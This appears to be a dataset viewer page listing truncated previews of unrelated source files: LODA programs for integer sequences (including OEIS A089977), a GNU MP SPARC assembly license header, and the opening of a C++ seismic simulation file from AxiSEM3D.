; 1,2,1,3,1,2,1,4,1,2,1,3,1,2,1,5,1,2,1,3,1,2,1,4,1,2,1,3,1,2,1,6,1,2,1,3,1,2,1,4,1,2,1,3,1,2,1,5,1,2,1,3,1,2,1,4,1,2,1,3,1,2,1,7,1,2,1,3,1,2,1,4,1,2,1,3,1,2,1,5,1,2,1,3,1,2,1,4,1,2,1,3,1,2,1,6,1,2,1,3
add $0,1
lpb $0
dif $0,2
add... |
dnl SPARC v8 mpn_submul_1 -- Multiply a limb vector with a limb and
dnl subtract the result from a second limb vector.
dnl Copyright 1992-1994, 2000 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl ... |
; A089977: Expansion of 1/((1-2*x)*(1+x+2*x^2)).
; Submitted by Jamie Morken(s2)
; 1,1,1,5,9,13,33,69,121,253,529,1013,2025,4141,8193,16293,32857,65629,130801,262229,524745,1047949,2096865,4195845,8387641,16775101,33558481,67109045,134209449,268443373,536879553,1073717349,2147490841,4295009053,8589878449,17179841813,34... |
//
// FluidPressure.cpp
// AxiSEM3D
//
// Created by Kuangdai Leng on 3/5/19.
// Copyright © 2019 Kuangdai Leng. All rights reserved.
//
// pressure source on fluid element
#include "FluidPressure.hpp"
#include "FluidElement.hpp"
// constructor
FluidPressure::FluidPressure(std::unique_ptr<STF> &stf,
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.